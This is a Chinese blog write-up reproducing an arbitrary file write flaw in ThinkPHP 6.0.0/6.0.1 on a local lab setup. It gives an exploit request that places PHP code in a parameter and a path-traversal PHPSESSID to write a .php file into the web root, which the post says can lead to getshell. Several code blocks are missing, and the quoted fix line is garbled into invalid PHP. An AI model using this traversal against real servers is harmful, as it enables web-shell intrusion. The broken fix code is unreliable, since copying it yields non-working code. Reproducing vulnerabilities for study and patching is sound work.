ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现
后台-插件-广告管理-内容页头部广告(手机) |
ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 安装thinkphp6
- 漏洞信息配置
- 漏洞利用
- 修复建议
漏洞名称
漏洞描述
2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。
影响版本
ThinkPHP 6.0.0
ThinkPHP 6.0.1
漏洞复现
环境搭建
受害者IP:192.168.10.145
攻击者IP:127.0.0.1
安装thinkphp6
下载PHPstudy_pro,网上一堆自己找吧,链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8
创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。
打开composer,composer2.5.8,php>=7.2
在www目录下面执行这个命令
- 1
- 2
将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本,并执行更新命令
进入tp6目录 cd tp6 composer update- 1
- 2
- 3
在本地访问网站为6.0.0,则成功搭建。
漏洞信息配置
构造位置:think6\app\controller\Index.php
需要增加构造的内容:
- 1
- 2
/think6/app/middleware.php 文件开启session,去掉注释session的//
漏洞利用
构造参数c和phpsessid;
index?c=<?php phpinfo();?> PHPSESSID=../../../../public/1omg12377.php- 1
- 2
访问public目录下的1omg12377.php文件。
修复建议
官方修复建议:对session id 加一个过滤,使用ctype_alnum()
$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id) && ? $id : md5(microtime(true) . session_create_id());- 1
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |